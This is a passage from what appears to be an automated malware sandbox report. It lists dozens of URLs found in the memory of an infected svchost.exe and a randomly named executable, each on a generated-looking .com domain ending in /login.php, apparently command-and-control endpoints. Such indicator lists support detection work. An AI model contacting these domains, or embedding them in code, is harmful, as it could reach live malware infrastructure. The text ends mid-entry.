Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyquw.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyros.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyvuz.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyzeb.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321434222.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganycuh.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321288467.0000000008716000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganydiw.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyfes.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyhab.com/login.php
Source: svchost.exe, 00000002.00000003.2440992752.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396181713.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2393087013.000000000866C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyhus.com/H
Source: svchost.exe, 00000002.00000003.2385477507.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396823285.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408435581.0000000008706000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyhus.com/login.php
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganynos.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2156423614.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157020892.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2167507417.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157370436.00000000008A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganypih.com/login.php
Source: svchost.exe, 00000002.00000003.2538146592.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2264150395.00000000086FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2524832364.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2281429661.000000000861B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyqow.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433469264.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2430808473.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548643584.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393602354.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527269285.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2541435217.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393482937.000000000339B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344396822.0000000003399000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202485680.00000000008A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyrys.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyvoz.com/login.php
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2764486074.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyvyw.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3401901735.0000000008633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433469264.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2430808473.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548643584.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527269285.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2541435217.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302596386.000000000865D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ganyzub.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329748670.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqycyz.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157288878.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157083075.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151945828.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000096C4000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.0000000008768000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000658000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.00000000083D7000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.000000000843D000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2711620441.0000000008C6C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E05000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://gaqydeb.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329628428.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330446877.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334181353.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334382414.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqydus.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyfah.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyhuz.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqykus.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2747671428.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqynih.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610102916.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqypew.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393602354.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 